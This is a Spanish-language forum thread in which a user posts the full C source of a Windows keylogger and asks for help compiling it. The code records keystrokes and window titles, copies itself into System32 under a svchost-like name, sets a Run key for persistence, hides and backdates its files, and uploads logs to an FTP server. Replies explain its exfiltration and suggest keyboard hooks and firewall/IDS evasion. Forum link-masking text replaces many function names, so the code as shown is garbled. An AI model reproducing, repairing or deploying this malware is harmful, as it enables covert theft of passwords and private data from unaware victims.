comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[SOLUCIONADO] Ayuda compilar keylogger

  • 2 Respuestas
  • 1554 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado deth

  • *
  • Underc0der
  • Mensajes: 60
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« en: Enero 07, 2014, 03:40:34 pm »
hola amigos tengo este codigo de un keylogger lo saque de una revista digital de seguridad informatica de hace un tiempo, pero no puedo compilarlo me marca  "parse error" y otros errores, aqui el codigo:

Código: C
  1. #include <string.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <windows.h>
  5. #include <winsock2.h>
  6. #include <wininet.h>
  7. #include <time.h>
  8.  
  9. long filesize(FILE *stream);
  10. int ftpst();
  11.  
  12.  
  13.  
  14.  
  15.  
  16.  
  17.  
  18.  
  19. int file_exist(char *filename);
  20. void Dey();
  21. void fecha(char *endo);
  22. void config();
  23.  
  24. char servidor[31], usuario[31], clave[17], Svl[21], pa[50];
  25. char name[100],pro[16],pat[250],yotas[250];
  26. HWND aquien;
  27. FILE *enf;
  28. char nombre[200],txt[10]=".txt";
  29. char *nom;
  30. int WINAPI WinMain (HINSTANCE hThisInstance,HINSTANCE
  31. hPrevInstance,LPSTR lpszArgument,int nFunsterStil)
  32. {
  33.     DWORD tamanolen=100;
  34.     char a[16],b[16],padre[100],laveria[250];
  35.     int ot;
  36.     time_t t;
  37.     HKEY hreg;
  38.     char *ubica,ubicac[180],caves[253],host[200],archi[250];
  39.     struct hostent *ha;
  40.     WSADATA wsas;
  41.  
  42.     GetModuleFileName(hThisInstance,yotas,250);
  43.     config();
  44.     ubica=ubicac;
  45.     GetSystemDirectory(ubica,180);
  46.     You are not allowed to view links. Register or Login(pat,"%s\\",ubica);
  47.     You are not allowed to view links. Register or Login(padre,pat);
  48.     You are not allowed to view links. Register or Login(ubica,"%s\\%s",ubica,Svl);
  49.     GetComputerName(name,&tamanolen);
  50.     _strdate(a);
  51.     _strtime(b);
  52.     nom=nombre;
  53.     You are not allowed to view links. Register or Login(nom,name);
  54.     You are not allowed to view links. Register or Login(nom,"%s%c%c%c%c",nom,,a[0],a[1],a[3],a[4]);
  55.     You are not allowed to view links. Register or Login(laveria,"%s%s",pat,nom);
  56.     You are not allowed to view links. Register or Login(nom,b,2);
  57.     You are not allowed to view links. Register or Login(pat,nom);
  58.     You are not allowed to view links. Register or Login(nom,txt);
  59.     for(ot=0;ot<=24;ot++)
  60.     {
  61.         if(ot<10)
  62.             You are not allowed to view links. Register or Login(caves,"%s0%d",laveria,ot);
  63.         else
  64.             You are not allowed to view links. Register or Login(caves,"%s%d",laveria,ot);
  65.         if(file_exist(caves)==1)
  66.         {
  67.             if(You are not allowed to view links. Register or Login(caves)!=0)
  68.                 You are not allowed to view links. Register or Login(0);
  69.         }
  70.     }
  71.     if(strcmpi(yotas,ubica)!=0)
  72.     {
  73.        if(file_exist(ubica)==0)
  74.        {
  75.          CopyFile(yotas,ubica,0);
  76.          fecha(ubica);
  77.          SetCurrentDirectory(padre);
  78.          WinExec(ubica,0);
  79.  
  80.  
  81.  
  82.  
  83.  
  84.  
  85.  
  86.        }
  87.        You are not allowed to view links. Register or Login(0);
  88.     }
  89.  
  90. RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentV
  91. ersion\\Run",0,KEY_ALL_ACCESS,&hreg);
  92.     RegSetValueEx(hreg,pro,0,REG_SZ,ubica,You are not allowed to view links. Register or Login(ubica));
  93.     RegCloseKey(hreg);
  94.     if(!(enf=You are not allowed to view links. Register or Login(pat,"a")))
  95.     {
  96.        You are not allowed to view links. Register or Login(pat,"C:\\Windows\\System32\\Qetgeqec");
  97.        if(!(enf=You are not allowed to view links. Register or Login(pat,"a")))
  98.          You are not allowed to view links. Register or Login(0);
  99.     }
  100.     WSAStartup(MAKEWORD(2,0),&wsas);
  101.     gethostname(host,255);
  102.     ha=gethostbyname(host);
  103.     WSACleanup();
  104.     You are not allowed to view links. Register or Login(archi,"\n| Ejecutandose en Host: (%s) con IP:
  105. (%s)",host,inet_ntoa(*((struct in_addr *)ha->h_addr)));
  106.     if(You are not allowed to view links. Register or Login(archi)<70)
  107.     {
  108.         for(ot=You are not allowed to view links. Register or Login(archi);ot<69;ot++)
  109.         {
  110.               archi[ot]=' ';
  111.               archi[ot+1]='\0';
  112.         }
  113.         You are not allowed to view links. Register or Login(archi," |");
  114.     }
  115.     archi[You are not allowed to view links. Register or Login(archi)]='\0';
  116.     ot=GetKBCodePage();
  117.     You are not allowed to view links. Register or Login(enf,"\n+--------------------------------------------------
  118. ------------------+");
  119.     You are not allowed to view links. Register or Login(enf,"\n| DKey 1.2.1 - se reserva derechos de autor |");
  120.     You are not allowed to view links. Register or Login(enf,"\n| Proceso Iniciado %s %s                                
  121. |",a,b);
  122.     You are not allowed to view links. Register or Login(enf,archi);
  123.     You are not allowed to view links. Register or Login(enf,"\n| Codigo para modificacion de users de consultorio
  124. informatico          |");
  125.     if(ot!=850)
  126.     {
  127.         You are not allowed to view links. Register or Login(enf,"\nLa configuracion del teclado no es soportada");
  128.         You are not allowed to view links. Register or Login(enf,"\npor DKey 1.2.1");
  129.     }
  130.     fecha(pat);
  131.     Dey();
  132. }
  133. void Dey()
  134. {
  135.    time_t ltime;
  136.    int teta=0;
  137.    int anterior=1;
  138.    int blo=0;
  139.    char Taquien[255];
  140.    char *tetas;
  141.    int D;
  142.    int tama=1024;
  143.    char alfabeta[] = "abcdefghijklmnopqrstuvwxyz";
  144.    char alfabetanum[] = "0123456789";
  145.  
  146.  
  147.  
  148.  
  149.  
  150.  
  151.  
  152.  
  153.  
  154.    You are not allowed to view links. Register or Login(stdin);
  155.    You are not allowed to view links. Register or Login(enf,"\n+---------------------------------------------------
  156. -----------------+");
  157.    tama=filesize(enf);
  158.    fecha(pat);
  159.    aquien=GetForegroundWindow();
  160.    tetas=You are not allowed to view links. Register or Login(32768,sizeof(char));
  161.    while(1<2)
  162.    {
  163.        if(GetForegroundWindow()!=aquien)
  164.        {
  165.            if(You are not allowed to view links. Register or Login(Taquien)>0 && You are not allowed to view links. Register or Login(tetas)>0)
  166.            {
  167.               You are not allowed to view links. Register or Login(&ltime);
  168.               You are not allowed to view links. Register or Login(&ltime);
  169.               You are not allowed to view links. Register or Login(enf,"\n\nFecha: %s",You are not allowed to view links. Register or Login(&ltime));
  170.               You are not allowed to view links. Register or Login(enf,"[ Ventana: %s ]",Taquien);
  171.               You are not allowed to view links. Register or Login(enf,"\n    %s",tetas);
  172.               if(tama<filesize(enf))
  173.               {
  174.                   tama=filesize(enf)+1024;
  175.                   You are not allowed to view links. Register or Login(enf);
  176.                   fecha(pat);
  177.                   ftpst();
  178.                   if(!(enf=You are not allowed to view links. Register or Login(pat,"a")))
  179.                   {
  180.                      You are not allowed to view links. Register or Login(pat,"C:\\Windows\\System32\\Qetgeqec");
  181.                      if(!(enf=You are not allowed to view links. Register or Login(pat,"a")))
  182.                      You are not allowed to view links. Register or Login(0);
  183.                   }
  184.               }
  185.               fecha(pat);
  186.               You are not allowed to view links. Register or Login(tetas);
  187.               tetas=You are not allowed to view links. Register or Login(32768,sizeof(char));
  188.            }
  189.            aquien=GetForegroundWindow();
  190.        }
  191.        else
  192.            GetWindowText(aquien,Taquien,255);
  193.        for(teta=4;teta<256;teta++)
  194.        {
  195.           if(GetAsyncKeyState(teta)==-32767)
  196.           {
  197.               if(teta>=65 && teta<91)
  198.               {
  199.                 for(D=65;D<91;D++)
  200.                 {
  201.                   if(teta==D)
  202.                   {
  203.                      if(blo==1)
  204.                         strupr(alfabeta);
  205.                      else if(blo==0)
  206.                         strlwr(alfabeta);
  207.                      tetas[You are not allowed to view links. Register or Login(tetas)]=alfabeta[teta-65];
  208.                      tetas[You are not allowed to view links. Register or Login(tetas)]='\0';
  209.                      anterior=0;
  210.                   }
  211.                 }
  212.               }
  213.               else if(teta>=96 && teta<106)
  214.  
  215.  
  216.  
  217.  
  218.  
  219.  
  220.  
  221.               {
  222.                 for(D=96;D<106;D++)
  223.                 {
  224.                  if(teta==D)
  225.                  {
  226.                      tetas[You are not allowed to view links. Register or Login(tetas)]=alfabetanum[teta-96];
  227.                      tetas[You are not allowed to view links. Register or Login(tetas)]='\0';
  228.                      anterior=0;
  229.                  }
  230.                 }
  231.               }
  232.               switch(teta)
  233.               {
  234.                   case 8:
  235.                     if (anterior==0)
  236.                        tetas[You are not allowed to view links. Register or Login(tetas)-1]='\0';
  237.                     else if(anterior==2)
  238.                        tetas[You are not allowed to view links. Register or Login(tetas)-3]='\0';
  239.                     else if(anterior==1)
  240.                          You are not allowed to view links. Register or Login(tetas,"[Retro]");
  241.                     break;
  242.                   case 9:
  243.                     You are not allowed to view links. Register or Login(tetas,"[Tab]");
  244.                     anterior=1;
  245.                     break;
  246.                   case 13:
  247.                     You are not allowed to view links. Register or Login(tetas,"[Enter]");
  248.                     if (anterior==0)
  249.                        You are not allowed to view links. Register or Login(tetas,"\n");
  250.                     else if(anterior==2)
  251.                        You are not allowed to view links. Register or Login(tetas,"\n");
  252.                     anterior=1;
  253.                     break;
  254.                   case 16:
  255.                     You are not allowed to view links. Register or Login(tetas,"[Shift]");
  256.                     anterior=1;
  257.                     break;
  258.                   case 17:
  259.                     You are not allowed to view links. Register or Login(tetas,"[Ctrl]");
  260.                     anterior=1;
  261.                     break;
  262.                   case 18:
  263.                     You are not allowed to view links. Register or Login(tetas,"[Alt]");
  264.                     anterior=1;
  265.                     break;
  266.                   case 20:
  267.                     You are not allowed to view links. Register or Login(tetas,"[Bloq]");
  268.                     if(blo==1)
  269.                     {
  270.                        blo=0;
  271.                        goto fin;
  272.                     }
  273.                     else if(blo==0)
  274.                     {
  275.                        blo=1;
  276.                        anterior=1;
  277.                     }
  278.                     fin:
  279.                        anterior=1;
  280.                     break;
  281.                   case 27:
  282.  
  283.  
  284.  
  285.  
  286.  
  287.  
  288.  
  289.                     You are not allowed to view links. Register or Login(tetas,"[Escape]");
  290.                     anterior=1;
  291.                     break;
  292.                   case 32:
  293.                     You are not allowed to view links. Register or Login(tetas," ");
  294.                     anterior=0;
  295.                     break;
  296.                   case 33:
  297.                     You are not allowed to view links. Register or Login(tetas,"[RePag]");
  298.                     anterior=1;
  299.                     break;
  300.                   case 34:
  301.                     You are not allowed to view links. Register or Login(tetas,"[AvPag]");
  302.                     anterior=1;
  303.                     break;
  304.                   case 35:
  305.                     You are not allowed to view links. Register or Login(tetas,"[Fin]");
  306.                     anterior=1;
  307.                     break;
  308.                   case 36:
  309.                     You are not allowed to view links. Register or Login(tetas,"[Inicio]");
  310.                     anterior=1;
  311.                     break;
  312.                   case 37:
  313.                     You are not allowed to view links. Register or Login(tetas,"[Izquierda]");
  314.                     anterior=1;
  315.                     break;
  316.                   case 38:
  317.                     You are not allowed to view links. Register or Login(tetas,"[Arriba]");
  318.                     anterior=1;
  319.                     break;
  320.                   case 39:
  321.                     You are not allowed to view links. Register or Login(tetas,"[Derecha]");
  322.                     anterior=1;
  323.                     break;
  324.                   case 40:
  325.                     You are not allowed to view links. Register or Login(tetas,"[Abajo]");
  326.                     anterior=1;
  327.                     break;
  328.                   case 44:
  329.                     You are not allowed to view links. Register or Login(tetas,"[ImprPant]");
  330.                     anterior=1;
  331.                     break;
  332.                   case 45:
  333.                     You are not allowed to view links. Register or Login(tetas,"[Insert]");
  334.                     anterior=1;
  335.                     break;
  336.                   case 46:
  337.                     You are not allowed to view links. Register or Login(tetas,"[Supr]");
  338.                     anterior=1;
  339.                     break;
  340.                   case 48:
  341.                     tetas[You are not allowed to view links. Register or Login(tetas)]='0';
  342.                     tetas[You are not allowed to view links. Register or Login(tetas)]='\0';
  343.                     anterior=0;
  344.                     break;
  345.                   case 49:
  346.                     tetas[You are not allowed to view links. Register or Login(tetas)]='1';
  347.                     tetas[You are not allowed to view links. Register or Login(tetas)]='\0';
  348.                     anterior=0;
  349.                     break;
  350.  
  351.  
  352.  
  353.  
  354.  
  355.  
  356.  
  357.                   case 50:
  358.                     tetas[You are not allowed to view links. Register or Login(tetas)]='2';
  359.                     tetas[You are not allowed to view links. Register or Login(tetas)]='\0';
  360.                     anterior=0;
  361.                     break;
  362.                   case 51:
  363.                     tetas[You are not allowed to view links. Register or Login(tetas)]='3';
  364.                     tetas[You are not allowed to view links. Register or Login(tetas)]='\0';
  365.                     anterior=0;
  366.                     break;
  367.                   case 52:
  368.                     tetas[You are not allowed to view links. Register or Login(tetas)]='4';
  369.                     tetas[You are not allowed to view links. Register or Login(tetas)]='\0';
  370.                     anterior=0;
  371.                     break;
  372.                   case 53:
  373.                     tetas[You are not allowed to view links. Register or Login(tetas)]='5';
  374.                     tetas[You are not allowed to view links. Register or Login(tetas)]='\0';
  375.                     anterior=0;
  376.                     break;
  377.                   case 54:
  378.                     tetas[You are not allowed to view links. Register or Login(tetas)]='6';
  379.                     tetas[You are not allowed to view links. Register or Login(tetas)]='\0';
  380.                     anterior=0;
  381.                     break;
  382.                   case 55:
  383.                     tetas[You are not allowed to view links. Register or Login(tetas)]='7';
  384.                     tetas[You are not allowed to view links. Register or Login(tetas)]='\0';
  385.                     anterior=0;
  386.                     break;
  387.                   case 56:
  388.                     tetas[You are not allowed to view links. Register or Login(tetas)]='8';
  389.                     tetas[You are not allowed to view links. Register or Login(tetas)]='\0';
  390.                     anterior=0;
  391.                     break;
  392.                   case 57:
  393.                     tetas[You are not allowed to view links. Register or Login(tetas)]='9';
  394.                     tetas[You are not allowed to view links. Register or Login(tetas)]='\0';
  395.                     anterior=0;
  396.                     break;
  397.                   case 91:
  398.                     You are not allowed to view links. Register or Login(tetas,"[Win]");
  399.                     anterior=1;
  400.                     break;
  401.                   case 93:
  402.                     You are not allowed to view links. Register or Login(tetas,"[Propie]");
  403.                     anterior=1;
  404.                     break;
  405.                   case 106:
  406.                     tetas[You are not allowed to view links. Register or Login(tetas)]='*';
  407.                     tetas[You are not allowed to view links. Register or Login(tetas)]='\0';
  408.                     anterior=0;
  409.                     break;
  410.                   case 107:
  411.                     tetas[You are not allowed to view links. Register or Login(tetas)]='+';
  412.                     tetas[You are not allowed to view links. Register or Login(tetas)]='\0';
  413.                     anterior=0;
  414.                     break;
  415.                   case 109:
  416.                     tetas[You are not allowed to view links. Register or Login(tetas)]='-';
  417.                     tetas[You are not allowed to view links. Register or Login(tetas)]='\0';
  418.  
  419.  
  420.  
  421.  
  422.  
  423.  
  424.  
  425.                     anterior=0;
  426.                     break;
  427.                   case 110:
  428.                     tetas[You are not allowed to view links. Register or Login(tetas)]='.';
  429.                     tetas[You are not allowed to view links. Register or Login(tetas)]='\0';
  430.                     anterior=0;
  431.                     break;;
  432.                   case 111:
  433.                     tetas[You are not allowed to view links. Register or Login(tetas)]='/';
  434.                     tetas[You are not allowed to view links. Register or Login(tetas)]='\0';
  435.                     anterior=0;
  436.                     break;
  437.                   case 112:
  438.                     You are not allowed to view links. Register or Login(tetas,"[F1]");
  439.                     anterior=1;
  440.                     break;
  441.                   case 113:
  442.                     You are not allowed to view links. Register or Login(tetas,"[F2]");
  443.                     anterior=1;
  444.                     break;
  445.                   case 114:
  446.                     You are not allowed to view links. Register or Login(tetas,"[F3]");
  447.                     anterior=1;
  448.                     break;
  449.                   case 115:
  450.                     You are not allowed to view links. Register or Login(tetas,"[F4]");
  451.                     anterior=1;
  452.                     break;
  453.                   case 116:
  454.                     You are not allowed to view links. Register or Login(tetas,"[F5]");
  455.                     anterior=1;
  456.                     break;
  457.                   case 117:
  458.                     You are not allowed to view links. Register or Login(tetas,"[F6]");
  459.                     anterior=1;
  460.                     break;
  461.                   case 118:
  462.                     You are not allowed to view links. Register or Login(tetas,"[F7]");
  463.                     anterior=1;
  464.                     break;
  465.                   case 119:
  466.                     You are not allowed to view links. Register or Login(tetas,"[F8]");
  467.                     anterior=1;
  468.                     break;
  469.                   case 120:
  470.                     You are not allowed to view links. Register or Login(tetas,"[F9]");
  471.                     anterior=1;
  472.                     break;
  473.                   case 121:
  474.                     You are not allowed to view links. Register or Login(tetas,"[F10]");
  475.                     anterior=1;
  476.                     break;
  477.                   case 122:
  478.                     You are not allowed to view links. Register or Login(tetas,"[F11]");
  479.                     anterior=1;
  480.                     break;
  481.                   case 123:
  482.                     You are not allowed to view links. Register or Login(tetas,"[F12]");
  483.                     anterior=1;
  484.                     break;
  485.                   case 144:
  486.  
  487.  
  488.  
  489.  
  490.  
  491.  
  492.  
  493.                     You are not allowed to view links. Register or Login(tetas,"[BloqNum]");
  494.                     anterior=1;
  495.                     break;
  496.                   case 145:
  497.                     You are not allowed to view links. Register or Login(tetas,"[BloqDespl]");
  498.                     anterior=1;
  499.                     break;
  500.                   case 186:
  501.                     You are not allowed to view links. Register or Login(tetas,"[´]");
  502.                     anterior=2;
  503.                     break;
  504.                   case 187:
  505.                     tetas[You are not allowed to view links. Register or Login(tetas)]='+';
  506.                     tetas[You are not allowed to view links. Register or Login(tetas)]='\0';
  507.                     anterior=0;
  508.                     break;
  509.                   case 188:
  510.                     tetas[You are not allowed to view links. Register or Login(tetas)]=',';
  511.                     tetas[You are not allowed to view links. Register or Login(tetas)]='\0';
  512.                     anterior=0;
  513.                     break;
  514.                   case 189:
  515.                     tetas[You are not allowed to view links. Register or Login(tetas)]='-';
  516.                     tetas[You are not allowed to view links. Register or Login(tetas)]='\0';
  517.                     anterior=0;
  518.                     break;
  519.                   case 190:
  520.                     tetas[You are not allowed to view links. Register or Login(tetas)]='.';
  521.                     tetas[You are not allowed to view links. Register or Login(tetas)]='\0';
  522.                     anterior=0;
  523.                     break;
  524.                   case 191:
  525.                     tetas[You are not allowed to view links. Register or Login(tetas)]='ç';
  526.                     tetas[You are not allowed to view links. Register or Login(tetas)]='\0';
  527.                     anterior=0;
  528.                     break;
  529.                   case 192:
  530.                     if(blo==1)
  531.                     {
  532.                        You are not allowed to view links. Register or Login(tetas,"Ñ");
  533.                     }
  534.                     else if(blo==0)
  535.                     {
  536.                        You are not allowed to view links. Register or Login(tetas,"ñ");
  537.                     }
  538.                     anterior=0;
  539.                     break;
  540.                   case 219:
  541.                     You are not allowed to view links. Register or Login(tetas,"[']");
  542.                     anterior=2;
  543.                     break;
  544.                   case 220:
  545.                     tetas[You are not allowed to view links. Register or Login(tetas)]='\\';
  546.                     tetas[You are not allowed to view links. Register or Login(tetas)]='\0';
  547.                     anterior=0;
  548.                     break;
  549.                   case 221:
  550.                     tetas[You are not allowed to view links. Register or Login(tetas)]='¡';
  551.                     tetas[You are not allowed to view links. Register or Login(tetas)]='\0';
  552.                     anterior=0;
  553.                     break;
  554.  
  555.  
  556.  
  557.  
  558.  
  559.  
  560.  
  561.                   case 222:
  562.                     You are not allowed to view links. Register or Login(tetas,"[");
  563.                     anterior=0;
  564.                     break;
  565.                   case 226:
  566.                     tetas[You are not allowed to view links. Register or Login(tetas)]='<';
  567.                     tetas[You are not allowed to view links. Register or Login(tetas)]='\0';
  568.                     anterior=0;
  569.                     break;
  570.               };
  571.           }
  572.        }
  573.    }
  574. }
  575. int file_exist(char *filename)
  576. {
  577.   return (access(filename, 0) == 0);
  578. }
  579. long filesize(FILE *stream)
  580. {
  581.    long curpos, length;
  582.    curpos = You are not allowed to view links. Register or Login(stream);
  583.    You are not allowed to view links. Register or Login(stream, 0L, SEEK_END);
  584.    length = You are not allowed to view links. Register or Login(stream);
  585.    You are not allowed to view links. Register or Login(stream, curpos, SEEK_SET);
  586.    return length;
  587. }
  588.  
  589. int ftpst()
  590. {
  591.     HINTERNET con,connecta,archivo;
  592.  
  593.     con=InternetOpen("Drox Team",INTERNET_SCHEME_FTP,NULL,NULL,0);
  594.     if(con!=NULL)
  595.     {
  596.  
  597. connecta=InternetConnect(con,servidor,21,usuario,clave,INTERNET_SERVIC
  598. E_FTP,INTERNET_FLAG_PASSIVE,0);
  599.         if(connecta!=NULL)
  600.         {
  601.  
  602. archivo=FtpOpenFile(connecta,nom,GENERIC_WRITE,FTP_TRANSFER_TYPE_ASCII
  603. ,0);
  604.             InternetCloseHandle(archivo);
  605.             FtpPutFile(connecta,pat,nom,FTP_TRANSFER_TYPE_ASCII,0);
  606.             InternetCloseHandle(connecta);
  607.         }
  608.         InternetCloseHandle(con);
  609.     }
  610.     return 0;
  611. }
  612.  
  613. void fecha(char *endo)
  614. {
  615.     FILETIME ft;
  616.     SYSTEMTIME st;
  617.     BOOL f;
  618.     HANDLE hFile;
  619.  
  620.  
  621.  
  622.  
  623.  
  624.  
  625.  
  626.  
  627.  
  628.  
  629.     hFile=CreateFile(endo,GENERIC_READ |
  630. GENERIC_WRITE,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
  631.     st.wDay=1;
  632.     st.wDayOfWeek=0;
  633.     st.wHour=5;
  634.     st.wMilliseconds=0;
  635.     st.wMinute=0;
  636.     st.wMonth=1;
  637.     st.wSecond=0;
  638.     st.wYear=2000;
  639.     SystemTimeToFileTime(&st, &ft);
  640.     f=SetFileTime(hFile, &ft, &ft, &ft);
  641.     SetFileAttributes(endo,2|4);
  642.     CloseHandle(hFile);
  643.     return;
  644. }
  645. void config()      /* Modulo alterado */
  646. {
  647.     You are not allowed to view links. Register or Login(servidor,"Servidor FTP");
  648.     You are not allowed to view links. Register or Login(usuario,"Nombre de usuario");
  649.     You are not allowed to view links. Register or Login(clave,"123456 :P");
  650.     You are not allowed to view links. Register or Login(Svl,"SIvChost.exe");
  651.     You are not allowed to view links. Register or Login(pro,"SIvChost");
  652.     return;
  653. }
  654.  

deberia ser cliente y servidor ? pero donde empieza el codigo del cliente y el del servidor? o es todo en uno?

gracias de antemano.
« Última modificación: Agosto 19, 2014, 09:38:16 pm por Expermicid »

Desconectado #define

  • *
  • Underc0der
  • Mensajes: 3
  • Actividad:
    0%
  • Reputación 0
  • Por supuesto, el proyecto estará para mañana...
    • Ver Perfil
    • Email
« Respuesta #1 en: Enero 17, 2014, 03:22:13 pm »
Hola, aquí va mi primer mensaje en la comunidad jejeje... Eres el afortunado :P

Hahaha, bueno, según lo que he visto del código (yo justamente ahora ando intentando hacer el mío propio pero no es fácil), únicamente tienes el código del keylogger (si me equivoco por favor corregidme). Me explico:

Para enviar y recibir datos a través de Internet, me refiero a los datos que capture el keylogger en el ordenador de la víctima (enviar dichos datos de la víctima, que es el cliente, al servidor, que recibirá los datos), hay que programar lo que se conoce como sockets. Los sockets (lo explico con mis palabras) son unas funciones del sistema operativo para hacer uso de los protocolos de la capa de transporte (TCP/UDP) principalmente. Lo que sucede con los sockets, al igual que con el keylogger, es que para programarlos tienes que tener en cuenta el sistema operativo sobre el cual van a ejecutarse, ya que las librerías que hay que incluir son distintas, pues las API de los sistemas operativos también lo son. Y para keyloggers y sockets hay que hacer uso de las API del sistema operativo.

Te comento lo anterior porque en el código que muestras sí veo un array que llama servidor y más cosas, pero no veo sockets por ningún lado (es un tanto extraño). Pero como ya digo, si alguien sabe que me equivoco no tengo problema en que me corrija, encantado.

Por último, a mí también me dan errores los códigos de keyloggers al compilarlos con determinados compiladores, si usas Windows, Dev-C++ suele ir bastante bien.

Espero haberte aclarado.
Saludos y dale caña, no desesperes!!! 8) ;)

Edito debido a que mi cabeza estaba ausente y puse que IP era un protocolo de la capa de transporte jjejejeje...
« Última modificación: Enero 17, 2014, 03:28:51 pm por #define »
¿Os habéis parado un segundo a pensar qué podría haber pasado si Dennis Ritchie y Ken Thompson no hubieran hecho lo que hicieron o no hubieran existido?

Desconectado Psymera

  • *
  • Underc0der
  • Mensajes: 75
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #2 en: Enero 23, 2014, 04:41:03 pm »
Bueno hay les van la lluva de pedradas y zapes xD
el codigo esta muy feo en primer lugar xD
pero si tiene envio de datos
es por ftp
asi que no hay cliente servidor
se envian lso datos a un servidor ftp, donde se configura usuaro contraseña puerto y host para coenctar
se auto inicia
en teoria esta completo :3
pero esta muy chafa y que lo que ocupa es el manejo de el estado del teclado con ciclos y no hace un hook al teclado para realmente
interactuar solo al uso del teclado
este lo pueden complar donde kieran, vc o devc
yo prefiero vc es mejod IDE y no tiene nada ke pedirle al compilar al devc solo hay que leer como configurar el compilador de forma adecuada
como sea para incio y dar una idea muy vaga de un keylogger esta bien
si ya realmente quieres jugar con uno funciona in the will
necesitan manejar el hook de teclado :3
o por ke no?
de apis :3
ademas de manejar protocolo estenografiados de comunicacion apra salto de firewalls eh ids :3
El conocimiento es libre...
La información no lo es xD

 

¿Te gustó el post? COMPARTILO!



[SOLUCIONADO] ¿Kali Linux o Kali Linux Ligth ?

Iniciado por worq

Respuestas: 2
Vistas: 5244
Último mensaje Noviembre 21, 2017, 12:28:54 pm
por Codig0Bit
[SOLUCIONADO] ¿Como publicar un software como software libre?

Iniciado por FuriosoJack

Respuestas: 2
Vistas: 1447
Último mensaje Mayo 23, 2017, 07:24:22 am
por HATI
[SOLUCIONADO] Multiuploader de imagenes con mysql, hosting de imagenes con mysql

Iniciado por graphixx

Respuestas: 4
Vistas: 2005
Último mensaje Marzo 26, 2013, 05:42:58 pm
por Xt3mP
[SOLUCIONADO] Linux Mint, errores, errores y mas errores...

Iniciado por n1sendev

Respuestas: 12
Vistas: 2460
Último mensaje Noviembre 22, 2017, 06:50:55 am
por RuidosoBSD
[SOLUCIONADO] Problem al instalar Windows "cualquier windows"

Iniciado por Made

Respuestas: 7
Vistas: 2810
Último mensaje Septiembre 03, 2012, 04:53:08 pm
por Made